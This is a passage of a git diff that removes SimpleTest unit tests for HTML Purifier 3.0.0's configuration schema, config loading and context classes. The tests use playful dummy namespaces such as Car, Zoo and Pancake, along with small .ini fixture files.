slightly convoluted, but that's the price - // you pay for using Singletons. Good thing we can overload it. - - // first, let's get a clean copy to do tests - $our_copy = new HTMLPurifier_ConfigSchema(); - // get the old copy - $this->old_copy = HTMLPurifier_ConfigSchema::instance(); - // put in our copy, and reassign to the REAL reference - $this->our_copy =& HTMLPurifier_ConfigSchema::instance($our_copy); - - $this->file = $this->our_copy->mungeFilename(__FILE__); - } - - function tearDown() { - // testing is done, restore the old copy - HTMLPurifier_ConfigSchema::instance($this->old_copy); - tally_errors($this); - } - - function test_defineNamespace() { - CS::defineNamespace('http', $d = 'This is an internet protocol.'); - - $this->assertIdentical($this->our_copy->info_namespace, array( - 'http' => new HTMLPurifier_ConfigDef_Namespace($d) - )); - - $this->expectError('Cannot redefine namespace'); - CS::defineNamespace('http', 'It is used to serve webpages.'); - - $this->expectError('Namespace name must be alphanumeric'); - CS::defineNamespace('ssh+http', 'This http is tunneled through SSH.'); - - $this->expectError('Description must be non-empty'); - CS::defineNamespace('ftp', null); - } - - function test_define() { - CS::defineNamespace('Car', 'Automobiles, those gas-guzzlers!'); - - CS::define('Car', 'Seats', 5, 'int', $d = 'Standard issue.'); $l = __LINE__; - - $this->assertIdentical($this->our_copy->defaults['Car']['Seats'], 5); - $this->assertIdentical($this->our_copy->info['Car']['Seats'], - new HTMLPurifier_ConfigDef_Directive('int', - array($this->file => array($l => $d)) - ) - ); - - CS::define('Car', 'Age', null, 'int/null', $d = 'Not always known.'); $l = __LINE__; - - $this->assertIdentical($this->our_copy->defaults['Car']['Age'], null); - $this->assertIdentical($this->our_copy->info['Car']['Age'], - new HTMLPurifier_ConfigDef_Directive('int', - array($this->file => array($l => $d)), true - ) - ); - - $this->expectError('Cannot define directive for undefined namespace'); - CS::define('Train', 'Cars', 10, 'int', 'Including the caboose.'); - - $this->expectError('Directive name must be alphanumeric'); - CS::define('Car', 'Is it shiny?', true, 'bool', 'Indicates regular waxing.'); - - $this->expectError('Invalid type for configuration directive'); - CS::define('Car', 'Efficiency', 50, 'mpg', 'The higher the better.'); - - $this->expectError('Default value does not match directive type'); - CS::define('Car', 'Producer', 'Ford', 'int', 'ID of the company that made the car.'); - - $this->expectError('Description must be non-empty'); - CS::define('Car', 'ComplexAttribute', 'lawyers', 'istring', null); - } - - function testRedefinition_define() { - CS::defineNamespace('Cat', 'Belongs to Schrodinger.'); - - CS::define('Cat', 'Dead', false, 'bool', $d1 = 'Well, is it?'); $l1 = __LINE__; - CS::define('Cat', 'Dead', false, 'bool', $d2 = 'It is difficult to say.'); $l2 = __LINE__; - - $this->assertIdentical($this->our_copy->defaults['Cat']['Dead'], false); - $this->assertIdentical($this->our_copy->info['Cat']['Dead'], - new HTMLPurifier_ConfigDef_Directive('bool', - array($this->file => array($l1 => $d1, $l2 => $d2)) - ) - ); - - $this->expectError('Inconsistent default or type, cannot redefine'); - CS::define('Cat', 'Dead', true, 'bool', 'Quantum mechanics does not know.'); - - $this->expectError('Inconsistent default or type, cannot redefine'); - CS::define('Cat', 'Dead', 'maybe', 'string', 'Perhaps if we look we will know.'); - } - - function test_defineAllowedValues() { - CS::defineNamespace('QuantumNumber', 'D'); - CS::define('QuantumNumber', 'Spin', 0.5, 'float', - 'Spin of particle. Fourth quantum number, represented by s.'); - CS::define('QuantumNumber', 'Current', 's', 'string', - 'Currently selected quantum number.'); - CS::define('QuantumNumber', 'Difficulty', null, 'string/null', $d = 'How hard are the problems?'); $l = __LINE__; - - CS::defineAllowedValues( // okay, since default is null - 'QuantumNumber', 'Difficulty', array('easy', 'medium', 'hard') - ); - - $this->assertIdentical($this->our_copy->defaults['QuantumNumber']['Difficulty'], null); - $this->assertIdentical($this->our_copy->info['QuantumNumber']['Difficulty'], - new HTMLPurifier_ConfigDef_Directive( - 'string', - array($this->file => array($l => $d)), - true, - array( - 'easy' => true, - 'medium' => true, - 'hard' => true - ) - ) - ); - - $this->expectError('Cannot define allowed values for undefined directive'); - CS::defineAllowedValues( - 'SpaceTime', 'Symmetry', array('time', 'spatial', 'projective') - ); - - $this->expectError('Cannot define allowed values for directive whose type is not string'); - CS::defineAllowedValues( - 'QuantumNumber', 'Spin', array(0.5, -0.5) - ); - - $this->expectError('Default value must be in allowed range of variables'); - CS::defineAllowedValues( - 'QuantumNumber', 'Current', array('n', 'l', 'm') // forgot s! - ); - } - - function test_defineValueAliases() { - CS::defineNamespace('Abbrev', 'Stuff on abbreviations.'); - CS::define('Abbrev', 'HTH', 'Happy to Help', 'string', $d = 'Three-letters'); $l = __LINE__; - CS::defineAllowedValues( - 'Abbrev', 'HTH', array( - 'Happy to Help', - 'Hope that Helps', - 'HAIL THE HAND!' - ) - ); - CS::defineValueAliases( - 'Abbrev', 'HTH', array( - 'happy' => 'Happy to Help', - 'hope' => 'Hope that Helps' - ) - ); - CS::defineValueAliases( // delayed addition - 'Abbrev', 'HTH', array( - 'hail' => 'HAIL THE HAND!' - ) - ); - - $this->assertIdentical($this->our_copy->defaults['Abbrev']['HTH'], 'Happy to Help'); - $this->assertIdentical($this->our_copy->info['Abbrev']['HTH'], - new HTMLPurifier_ConfigDef_Directive( - 'string', - array($this->file => array($l => $d)), - false, - array( - 'Happy to Help' => true, - 'Hope that Helps' => true, - 'HAIL THE HAND!' => true - ), - array( - 'happy' => 'Happy to Help', - 'hope' => 'Hope that Helps', - 'hail' => 'HAIL THE HAND!' - ) - ) - ); - - $this->expectError('Cannot define alias to value that is not allowed'); - CS::defineValueAliases( - 'Abbrev', 'HTH', array( - 'head' => 'Head to Head' - ) - ); - - $this->expectError('Cannot define alias over allowed value'); - CS::defineValueAliases( - 'Abbrev', 'HTH', array( - 'Hope that Helps' => 'Happy to Help' - ) - ); - - } - - function testAlias() { - CS::defineNamespace('Home', 'Sweet home.'); - CS::define('Home', 'Rug', 3, 'int', 'ID.'); - CS::defineAlias('Home', 'Carpet', 'Home', 'Rug'); - - $this->assertTrue(!isset($this->our_copy->defaults['Home']['Carpet'])); - $this->assertIdentical($this->our_copy->info['Home']['Carpet'], - new HTMLPurifier_ConfigDef_DirectiveAlias('Home', 'Rug') - ); - - $this->expectError('Cannot define directive alias in undefined namespace'); - CS::defineAlias('Store', 'Rug', 'Home', 'Rug'); - - $this->expectError('Directive name must be alphanumeric'); - CS::defineAlias('Home', 'R.g', 'Home', 'Rug'); - - CS::define('Home', 'Rugger', 'Bob Max', 'string', 'Name of.'); - $this->expectError('Cannot define alias over directive'); - CS::defineAlias('Home', 'Rugger', 'Home', 'Rug'); - - $this->expectError('Cannot define alias to undefined directive'); - CS::defineAlias('Home', 'Rug2', 'Home', 'Rugavan'); - - $this->expectError('Cannot define alias to alias'); - CS::defineAlias('Home', 'Rug2', 'Home', 'Carpet'); - } - - function assertValid($var, $type, $ret = null) { - $ret = ($ret === null) ? $var : $ret; - $this->assertIdentical($this->our_copy->validate($var, $type), $ret); - } - - function assertInvalid($var, $type) { - $this->assertTrue( - $this->our_copy->isError( - $this->our_copy->validate($var, $type) - ) - ); - } - - function testValidate() { - - $this->assertValid('foobar', 'string'); - $this->assertValid('foobar', 'text'); // aliases, lstring = long string - $this->assertValid('FOOBAR', 'istring', 'foobar'); - $this->assertValid('FOOBAR', 'itext', 'foobar'); - - $this->assertValid(34, 'int'); - - $this->assertValid(3.34, 'float'); - - $this->assertValid(false, 'bool'); - $this->assertValid(0, 'bool', false); - $this->assertValid(1, 'bool', true); - $this->assertValid('true', 'bool', true); - $this->assertValid('false', 'bool', false); - $this->assertValid('1', 'bool', true); - $this->assertInvalid(34, 'bool'); - $this->assertInvalid(null, 'bool'); - - $this->assertValid(array('1', '2', '3'), 'list'); - $this->assertValid('foo,bar, cow', 'list', array('foo', 'bar', 'cow')); - $this->assertValid('', 'list', array()); - $this->assertValid("foo\nbar", 'list', array('foo', 'bar')); - $this->assertValid("foo\nbar,baz", 'list', array('foo', 'bar', 'baz')); - - $this->assertValid(array('1' => true, '2' => true), 'lookup'); - $this->assertValid(array('1', '2'), 'lookup', array('1' => true, '2' => true)); - $this->assertValid('foo,bar', 'lookup', array('foo' => true, 'bar' => true)); - $this->assertValid("foo\nbar", 'lookup', array('foo' => true, 'bar' => true)); - $this->assertValid("foo\nbar,baz", 'lookup', array('foo' => true, 'bar' => true, 'baz' => true)); - $this->assertValid('', 'lookup', array()); - - $this->assertValid(array('foo' => 'bar'), 'hash'); - $this->assertValid(array(1 => 'moo'), 'hash'); - $this->assertInvalid(array(0 => 'moo'), 'hash'); - $this->assertValid('', 'hash', array()); - $this->assertValid('foo:bar,too:two', 'hash', array('foo' => 'bar', 'too' => 'two')); - $this->assertValid("foo:bar\ntoo:two,three:free", 'hash', array('foo' => 'bar', 'too' => 'two', 'three' => 'free')); - $this->assertValid('foo:bar,too', 'hash', array('foo' => 'bar')); - $this->assertValid('foo:bar,', 'hash', array('foo' => 'bar')); - $this->assertValid('foo:bar:baz', 'hash', array('foo' => 'bar:baz')); - - $this->assertValid(23, 'mixed'); - - } - - function testValidate_null() { - - $this->assertTrue( - $this->our_copy->isError( - $this->our_copy->validate(null, 'string', false) - ) - ); - - $this->assertFalse( - $this->our_copy->isError( - $this->our_copy->validate(null, 'string', true) - ) - ); - - } - - function assertMungeFilename($oldname, $newname) { - $this->assertIdentical( - $this->our_copy->mungeFilename($oldname), - $newname - ); - } - - function testMungeFilename() { - - $this->assertMungeFilename( - 'C:\\php\\My Libraries\\htmlpurifier\\library\\HTMLPurifier\\AttrDef.php', - 'HTMLPurifier/AttrDef.php' - ); - - $this->assertMungeFilename( - 'C:\\php\\My Libraries\\htmlpurifier\\library\\HTMLPurifier.php', - 'HTMLPurifier.php' - ); - - } - -} - diff --git a/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/ConfigTest-create.ini b/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/ConfigTest-create.ini deleted file mode 100644 index 3441565..0000000 --- a/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/ConfigTest-create.ini +++ /dev/null @@ -1,2 +0,0 @@ -[Cake] -Sprinkles = 42 \ No newline at end of file diff --git a/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/ConfigTest-finalize.ini b/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/ConfigTest-finalize.ini deleted file mode 100644 index 8172046..0000000 --- a/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/ConfigTest-finalize.ini +++ /dev/null @@ -1,2 +0,0 @@ -[Poem] -Meter = alexandrine \ No newline at end of file diff --git a/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/ConfigTest-loadIni.ini b/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/ConfigTest-loadIni.ini deleted file mode 100644 index 80dba59..0000000 --- a/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/ConfigTest-loadIni.ini +++ /dev/null @@ -1,4 +0,0 @@ -[Shortcut] -Copy = q -Cut = t -Paste = p \ No newline at end of file diff --git a/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/ConfigTest.php b/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/ConfigTest.php deleted file mode 100644 index 24d3eba..0000000 --- a/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/ConfigTest.php +++ /dev/null @@ -1,460 +0,0 @@ -<?php - -require_once 'HTMLPurifier/Config.php'; - -if (!class_exists('CS')) { - class CS extends HTMLPurifier_ConfigSchema {} -} - -class HTMLPurifier_ConfigTest extends HTMLPurifier_Harness -{ - - protected $our_copy, $old_copy; - - function setUp() { - // set up a dummy schema object for testing - $our_copy = new HTMLPurifier_ConfigSchema(); - $this->old_copy = HTMLPurifier_ConfigSchema::instance(); - $this->our_copy =& HTMLPurifier_ConfigSchema::instance($our_copy); - } - - function tearDown() { - HTMLPurifier_ConfigSchema::instance($this->old_copy); - tally_errors($this); - } - - // test functionality based on ConfigSchema - - function testNormal() { - CS::defineNamespace('Element', 'Chemical substances that cannot be further decomposed'); - - CS::define('Element', 'Abbr', 'H', 'string', 'Abbreviation of element name.'); - CS::define('Element', 'Name', 'hydrogen', 'istring', 'Full name of atoms.'); - CS::define('Element', 'Number', 1, 'int', 'Atomic number, is identity.'); - CS::define('Element', 'Mass', 1.00794, 'float', 'Atomic mass.'); - CS::define('Element', 'Radioactive', false, 'bool', 'Does it have rapid decay?'); - CS::define('Element', 'Isotopes', array(1 => true, 2 => true, 3 => true), 'lookup', - 'What numbers of neutrons for this element have been observed?'); - CS::define('Element', 'Traits', array('nonmetallic', 'odorless', 'flammable'), 'list', - 'What are general properties of the element?'); - CS::define('Element', 'IsotopeNames', array(1 => 'protium', 2 => 'deuterium', 3 => 'tritium'), 'hash', - 'Lookup hash of neutron counts to formal names.'); - CS::define('Element', 'Object', new stdClass(), 'mixed', 'Model representation.'); - - $config = HTMLPurifier_Config::createDefault(); - $config->autoFinalize = false; - - // test default value retrieval - $this->assertIdentical($config->get('Element', 'Abbr'), 'H'); - $this->assertIdentical($config->get('Element', 'Name'), 'hydrogen'); - $this->assertIdentical($config->get('Element', 'Number'), 1); - $this->assertIdentical($config->get('Element', 'Mass'), 1.00794); - $this->assertIdentical($config->get('Element', 'Radioactive'), false); - $this->assertIdentical($config->get('Element', 'Isotopes'), array(1 => true, 2 => true, 3 => true)); - $this->assertIdentical($config->get('Element', 'Traits'), array('nonmetallic', 'odorless', 'flammable')); - $this->assertIdentical($config->get('Element', 'IsotopeNames'), array(1 => 'protium', 2 => 'deuterium', 3 => 'tritium')); - $this->assertIdentical($config->get('Element', 'Object'), new stdClass()); - - // test setting values - $config->set('Element', 'Abbr', 'Pu'); - $config->set('Element', 'Name', 'PLUTONIUM'); // test decaps - $config->set('Element', 'Number', '94'); // test parsing - $config->set('Element', 'Mass', '244.'); // test parsing - $config->set('Element', 'Radioactive', true); - $config->set('Element', 'Isotopes', array(238, 239)); // test inversion - $config->set('Element', 'Traits', 'nuclear, heavy, actinide'); // test parsing - $config->set('Element', 'IsotopeNames', array(238 => 'Plutonium-238', 239 => 'Plutonium-239')); - $config->set('Element', 'Object', false); // unmodeled - - $this->expectError('Cannot set undefined directive Element.Metal to value'); - $config->set('Element', 'Metal', true); - - $this->expectError('Value for Element.Radioactive is of invalid type, should be bool'); - $config->set('Element', 'Radioactive', 'very'); - - // test value retrieval - $this->assertIdentical($config->get('Element', 'Abbr'), 'Pu'); - $this->assertIdentical($config->get('Element', 'Name'), 'plutonium'); - $this->assertIdentical($config->get('Element', 'Number'), 94); - $this->assertIdentical($config->get('Element', 'Mass'), 244.); - $this->assertIdentical($config->get('Element', 'Radioactive'), true); - $this->assertIdentical($config->get('Element', 'Isotopes'), array(238 => true, 239 => true)); - $this->assertIdentical($config->get('Element', 'Traits'), array('nuclear', 'heavy', 'actinide')); - $this->assertIdentical($config->get('Element', 'IsotopeNames'), array(238 => 'Plutonium-238', 239 => 'Plutonium-239')); - $this->assertIdentical($config->get('Element', 'Object'), false); - - $this->expectError('Cannot retrieve value of undefined directive Element.Metal'); - $config->get('Element', 'Metal'); - - } - - function testEnumerated() { - - CS::defineNamespace('Instrument', 'Of the musical type.'); - - // case sensitive - CS::define('Instrument', 'Manufacturer', 'Yamaha', 'string', 'Who made it?'); - CS::defineAllowedValues('Instrument', 'Manufacturer', array( - 'Yamaha', 'Conn-Selmer', 'Vandoren', 'Laubin', 'Buffet', 'other')); - CS::defineValueAliases('Instrument', 'Manufacturer', array( - 'Selmer' => 'Conn-Selmer')); - - // case insensitive - CS::define('Instrument', 'Family', 'woodwind', 'istring', 'What family is it?'); - CS::defineAllowedValues('Instrument', 'Family', array( - 'brass', 'woodwind', 'percussion', 'string', 'keyboard', 'electronic')); - CS::defineValueAliases('Instrument', 'Family', array( - 'synth' => 'electronic')); - - $config = HTMLPurifier_Config::createDefault(); - $config->autoFinalize = false; - - // case sensitive - - $config->set('Instrument', 'Manufacturer', 'Vandoren'); - $this->assertIdentical($config->get('Instrument', 'Manufacturer'), 'Vandoren'); - - $config->set('Instrument', 'Manufacturer', 'Selmer'); - $this->assertIdentical($config->get('Instrument', 'Manufacturer'), 'Conn-Selmer'); - - $this->expectError('Value not supported, valid values are: Yamaha, Conn-Selmer, Vandoren, Laubin, Buffet, other'); - $config->set('Instrument', 'Manufacturer', 'buffet'); - - // case insensitive - - $config->set('Instrument', 'Family', 'brass'); - $this->assertIdentical($config->get('Instrument', 'Family'), 'brass'); - - $config->set('Instrument', 'Family', 'PERCUSSION'); - $this->assertIdentical($config->get('Instrument', 'Family'), 'percussion'); - - $config->set('Instrument', 'Family', 'synth'); - $this->assertIdentical($config->get('Instrument', 'Family'), 'electronic'); - - $config->set('Instrument', 'Family', 'Synth'); - $this->assertIdentical($config->get('Instrument', 'Family'), 'electronic'); - - } - - function testNull() { - - CS::defineNamespace('ReportCard', 'It is for grades.'); - CS::define('ReportCard', 'English', null, 'string/null', 'Grade from English class.'); - CS::define('ReportCard', 'Absences', 0, 'int', 'How many times missing from school?'); - - $config = HTMLPurifier_Config::createDefault(); - $config->autoFinalize = false; - - $config->set('ReportCard', 'English', 'B-'); - $this->assertIdentical($config->get('ReportCard', 'English'), 'B-'); - - $config->set('ReportCard', 'English', null); // not yet graded - $this->assertIdentical($config->get('ReportCard', 'English'), null); - - // error - $this->expectError('Value for ReportCard.Absences is of invalid type, should be int'); - $config->set('ReportCard', 'Absences', null); - - } - - function testAliases() { - - CS::defineNamespace('Home', 'Sweet home.'); - CS::define('Home', 'Rug', 3, 'int', 'ID.'); - CS::defineAlias('Home', 'Carpet', 'Home', 'Rug'); - - $config = HTMLPurifier_Config::createDefault(); - $config->autoFinalize = false; - - $this->assertIdentical($config->get('Home', 'Rug'), 3); - - $this->expectError('Cannot get value from aliased directive, use real name Home.Rug'); - $config->get('Home', 'Carpet'); - - $config->set('Home', 'Carpet', 999); - $this->assertIdentical($config->get('Home', 'Rug'), 999); - - } - - // test functionality based on method - - function test_getBatch() { - - CS::defineNamespace('Variables', 'Changing quantities in equation.'); - CS::define('Variables', 'TangentialAcceleration', 'a_tan', 'string', 'In m/s^2'); - CS::define('Variables', 'AngularAcceleration', 'alpha', 'string', 'In rad/s^2'); - - $config = HTMLPurifier_Config::createDefault(); - $config->autoFinalize = false; - - // grab a namespace - $this->assertIdentical( - $config->getBatch('Variables'), - array( - 'TangentialAcceleration' => 'a_tan', - 'AngularAcceleration' => 'alpha' - ) - ); - - // grab a non-existant namespace - $this->expectError('Cannot retrieve undefined namespace Constants'); - $config->getBatch('Constants'); - - } - - function test_loadIni() { - - CS::defineNamespace('Shortcut', 'Keyboard shortcuts for commands'); - CS::define('Shortcut', 'Copy', 'c', 'istring', 'Copy text'); - CS::define('Shortcut', 'Paste', 'v', 'istring', 'Paste clipboard'); - CS::define('Shortcut', 'Cut', 'x', 'istring', 'Cut text'); - - $config = HTMLPurifier_Config::createDefault(); - $config->autoFinalize = false; - - $config->loadIni(dirname(__FILE__) . '/ConfigTest-loadIni.ini'); - - $this->assertIdentical($config->get('Shortcut', 'Copy'), 'q'); - $this->assertIdentical($config->get('Shortcut', 'Paste'), 'p'); - $this->assertIdentical($config->get('Shortcut', 'Cut'), 't'); - - } - - function test_getHTMLDefinition() { - - // we actually want to use the old copy, because the definition - // generation routines have dependencies on configuration values - - $this->old_copy = HTMLPurifier_ConfigSchema::instance($this->old_copy); - - $config = HTMLPurifier_Config::createDefault(); - $config->set('HTML', 'Doctype', 'XHTML 1.0 Strict'); - $config->autoFinalize = false; - - $def = $config->getCSSDefinition(); - $this->assertIsA($def, 'HTMLPurifier_CSSDefinition'); - - $def =& $config->getHTMLDefinition(); - $def2 =& $config->getHTMLDefinition(); - $this->assertIsA($def, 'HTMLPurifier_HTMLDefinition'); - $this->assertReference($def, $def2); - $this->assertTrue($def->setup); - - // test re-calculation if HTML changes - unset($def, $def2); - $def2 = $config->getHTMLDefinition(); // forcibly de-reference - - $config->set('HTML', 'Doctype', 'HTML 4.01 Transitional'); - $def = $config->getHTMLDefinition(); - $this->assertIsA($def, 'HTMLPurifier_HTMLDefinition'); - $this->assertNotEqual($def, $def2); - $this->assertTrue($def->setup); - - // test retrieval of raw definition - $config->set('HTML', 'DefinitionID', 'HTMLPurifier_ConfigTest->test_getHTMLDefinition()'); - $config->set('HTML', 'DefinitionRev', 3); - $def =& $config->getHTMLDefinition(true); - $this->assertNotEqual($def, $def2); - $this->assertEqual(false, $def->setup); - - // auto initialization - $config->getHTMLDefinition(); - $this->assertTrue($def->setup); - - } - - function test_getHTMLDefinition_rawError() { - $this->old_copy = HTMLPurifier_ConfigSchema::instance($this->old_copy); - $config = HTMLPurifier_Config::createDefault(); - $this->expectError('Cannot retrieve raw version without specifying %HTML.DefinitionID'); - $def =& $config->getHTMLDefinition(true); - } - - function test_getCSSDefinition() { - $this->old_copy = HTMLPurifier_ConfigSchema::instance($this->old_copy); - $config = HTMLPurifier_Config::createDefault(); - $def = $config->getCSSDefinition(); - $this->assertIsA($def, 'HTMLPurifier_CSSDefinition'); - } - - function test_getDefinition() { - CS::defineNamespace('Cache', 'Cache stuff'); - CS::define('Cache', 'DefinitionImpl', null, 'string/null', 'Cache?'); - CS::defineNamespace('Crust', 'Krusty Krabs'); - $config = HTMLPurifier_Config::createDefault(); - $this->expectError("Definition of Crust type not supported"); - $config->getDefinition('Crust'); - } - - function test_loadArray() { - // setup a few dummy namespaces/directives for our testing - CS::defineNamespace('Zoo', 'Animals we have.'); - CS::define('Zoo', 'Aadvark', 0, 'int', 'Have?'); - CS::define('Zoo', 'Boar', 0, 'int', 'Have?'); - CS::define('Zoo', 'Camel', 0, 'int', 'Have?'); - CS::define( - 'Zoo', 'Others', array(), 'list', 'Other animals we have one of.' - ); - - $config_manual = HTMLPurifier_Config::createDefault(); - $config_loadabbr = HTMLPurifier_Config::createDefault(); - $config_loadfull = HTMLPurifier_Config::createDefault(); - - $config_manual->set('Zoo', 'Aadvark', 3); - $config_manual->set('Zoo', 'Boar', 5); - $config_manual->set('Zoo', 'Camel', 2000); // that's a lotta camels! - $config_manual->set('Zoo', 'Others', array('Peacock', 'Dodo')); // wtf! - - // condensed form - $config_loadabbr->loadArray(array( - 'Zoo.Aadvark' => 3, - 'Zoo.Boar' => 5, - 'Zoo.Camel' => 2000, - 'Zoo.Others' => array('Peacock', 'Dodo') - )); - - // fully expanded form - $config_loadfull->loadArray(array( - 'Zoo' => array( - 'Aadvark' => 3, - 'Boar' => 5, - 'Camel' => 2000, - 'Others' => array('Peacock', 'Dodo') - ) - )); - - $this->assertIdentical($config_manual, $config_loadabbr); - $this->assertIdentical($config_manual, $config_loadfull); - - } - - function test_create() { - - CS::defineNamespace('Cake', 'Properties of it.'); - CS::define('Cake', 'Sprinkles', 666, 'int', 'Number of.'); - CS::define('Cake', 'Flavor', 'vanilla', 'string', 'Flavor of the batter.'); - - $config = HTMLPurifier_Config::createDefault(); - $config->set('Cake', 'Sprinkles', 42); - - // test flat pass-through - $created_config = HTMLPurifier_Config::create($config); - $this->assertIdentical($config, $created_config); - - // test loadArray - $created_config = HTMLPurifier_Config::create(array('Cake.Sprinkles' => 42)); - $this->assertIdentical($config, $created_config); - - // test loadIni - $created_config = HTMLPurifier_Config::create(dirname(__FILE__) . '/ConfigTest-create.ini'); - $this->assertIdentical($config, $created_config); - - } - - function test_finalize() { - - // test finalization - - CS::defineNamespace('Poem', 'Violets are red, roses are blue...'); - CS::define('Poem', 'Meter', 'iambic', 'string', 'Rhythm of poem.'); - - $config = HTMLPurifier_Config::createDefault(); - $config->autoFinalize = false; - - $config->set('Poem', 'Meter', 'irregular'); - - $config->finalize(); - - $this->expectError('Cannot set directive after finalization'); - $config->set('Poem', 'Meter', 'vedic'); - - $this->expectError('Cannot load directives after finalization'); - $config->loadArray(array('Poem.Meter' => 'octosyllable')); - - $this->expectError('Cannot load directives after finalization'); - $config->loadIni(dirname(__FILE__) . '/ConfigTest-finalize.ini'); - - } - - function test_loadArrayFromForm() { - - CS::defineNamespace('Pancake', 'This should not be user customizable'); - CS::define('Pancake', 'Mix', 'buttermilk', 'string', 'Type of pancake mix to use.'); - CS::define('Pancake', 'Served', true, 'bool', 'But this is customizable by user.'); - CS::defineNamespace('Toppings', 'This is user customizable'); - CS::define('Toppings', 'Syrup', true, 'bool', 'Absolutely standard!'); - CS::define('Toppings', 'Flavor', 'maple', 'string', 'What flavor is the syrup?'); - CS::define('Toppings', 'Strawberries', 3, 'int', 'Quite delightful fruit.'); - CS::define('Toppings', 'Calories', 2000, 'int/null', 'Some things are best left unknown.'); - CS::define('Toppings', 'DefinitionID', null, 'string/null', 'Do not let this be set'); - CS::define('Toppings', 'DefinitionRev', 1, 'int', 'Do not let this be set'); - CS::define('Toppings', 'Protected', 1, 'int', 'Do not let this be set'); - - $get = array( - 'breakfast' => array( - 'Pancake.Mix' => 'nasty', - 'Pancake.Served' => '0', - 'Toppings.Syrup' => '0', - 'Toppings.Flavor' => "juice", - 'Toppings.Strawberries' => '999', - 'Toppings.Calories' => '', - 'Null_Toppings.Calories' => '1', - 'Toppings.DefinitionID' => '<argh>', - 'Toppings.DefinitionRev' => '65', - 'Toppings.Protected' => '4', - ) - ); - - $config_expect = HTMLPurifier_Config::create(array( - 'Pancake.Served' => false, - 'Toppings.Syrup' => false, - 'Toppings.Flavor' => "juice", - 'Toppings.Strawberries' => 999, - 'Toppings.Calories' => null - )); - - $config_result = HTMLPurifier_Config::loadArrayFromForm($get, 'breakfast', array('Pancake.Served', 'Toppings', '-Toppings.Protected')); - - $this->assertEqual($config_expect, $config_result); - - /* - MAGIC QUOTES NOT TESTED!!! - - $get = array( - 'breakfast' => array( - 'Pancake.Mix' => 'n\\asty' - ) - ); - $config_expect = HTMLPurifier_Config::create(array( - 'Pancake.Mix' => 'n\\asty' - )); - $config_result = HTMLPurifier_Config::loadArrayFromForm($get, 'breakfast', true, false); - $this->assertEqual($config_expect, $config_result); - */ - } - - function test_getAllowedDirectivesForForm() { - CS::defineNamespace('Unused', 'Not mentioned, so deny'); - CS::define('Unused', 'Unused', 'Foobar', 'string', 'Not mentioned, do not allow'); - CS::defineNamespace('Partial', 'Some are mentioned, allow only those'); - CS::define('Partial', 'Allowed', true, 'bool', 'Mentioned, allowed'); - CS::define('Partial', 'Unused', 'Foobar', 'string', 'Not mentioned, do not allow'); - CS::defineNamespace('All', 'Entire namespace allowed, allow all unless...'); - CS::define('All', 'Allowed', true, 'bool', 'Not mentioned, allowed'); - CS::define('All', 'Blacklisted', 'Foobar', 'string', 'Specifically blacklisted'); - CS::define('All', 'DefinitionID', 'Foobar', 'string/null', 'Special case, auto-blacklisted'); - CS::define('All', 'DefinitionRev', 2, 'int', 'Special case, auto-blacklisted'); - - $input = array('Partial.Allowed', 'All', '-All.Blacklisted'); - $output = HTMLPurifier_Config::getAllowedDirectivesForForm($input); - $expect = array( - array('Partial', 'Allowed'), - array('All', 'Allowed') - ); - - $this->assertEqual($output, $expect); - - } - -} - diff --git a/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/ContextTest.php b/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/ContextTest.php deleted file mode 100644 index 397188a..0000000 --- a/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/ContextTest.php +++ /dev/null @@ -1,87 +0,0 @@ -<?php - -require_once 'HTMLPurifier/Context.php'; - -// mocks -require_once 'HTMLPurifier/IDAccumulator.php'; - -class HTMLPurifier_ContextTest extends HTMLPurifier_Harness -{ - - protected $context; - - function setUp() { - $this->context = new HTMLPurifier_Context(); - } - - function testStandardUsage() { - - generate_mock_once('HTMLPurifier_IDAccumulator'); - - $this->assertFalse($this->context->exists('IDAccumulator')); - - $accumulator = new HTMLPurifier_IDAccumulatorMock(); - $this->context->register('IDAccumulator', $accumulator); - $this->assertTrue($this->context->exists('IDAccumulator')); - - $accumulator_2 =& $this->context->get('IDAccumulator'); - $this->assertReference($accumulator, $accumulator_2); - - $this->context->destroy('IDAccumulator'); - $this->assertFalse($this->context->exists('IDAccumulator')); - - $this->expectError('Attempted to retrieve non-existent variable IDAccumulator'); - $accumulator_3 =& $this->context->get('IDAccumulator'); - $this->assertNull($accumulator_3); - - $this->expectError('Attempted to destroy non-existent variable IDAccumulator'); - $this->context->destroy('IDAccumulator'); - - } - - function testReRegister() { - - $var = true; - $this->context->register('OnceOnly', $var); - - $this->expectError('Name OnceOnly produces collision, cannot re-register'); - $this->context->register('OnceOnly', $var); - - // destroy it, now registration is okay - $this->context->destroy('OnceOnly'); - $this->context->register('OnceOnly', $var); - - } - - function test_loadArray() { - - // references can be *really* wonky! - - $context_manual = new HTMLPurifier_Context(); - $context_load = new HTMLPurifier_Context(); - - $var1 = 1; - $var2 = 2; - - $context_manual->register('var1', $var1); - $context_manual->register('var2', $var2); - - // you MUST set up the references when constructing the array, - // otherwise the registered version will be a copy - $array = array( - 'var1' => &$var1, - 'var2' => &$var2 - ); - - $context_load->loadArray($array); - $this->assertIdentical($context_manual, $context_load); - - $var1 = 10; - $var2 = 20; - - $this->assertIdentical($context_manual, $context_load); - - } - -} - diff --git a/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/DefinitionCache/Decorator/CleanupTest.php b/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/DefinitionCache/Decorator/CleanupTest.php deleted file mode 100644 index dc60752..0000000 --- a/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/DefinitionCache/Decorator/CleanupTest.php +++ /dev/null @@ -1,58 +0,0 @@ -<?php - -require_once 'HTMLPurifier/DefinitionCache/DecoratorHarness.php'; -require_once 'HTMLPurifier/DefinitionCache/Decorator/Cleanup.php'; - -generate_mock_once('HTMLPurifier_DefinitionCache'); - -class HTMLPurifier_DefinitionCache_Decorator_CleanupTest extends HTMLPurifier_DefinitionCache_DecoratorHarness -{ - - function 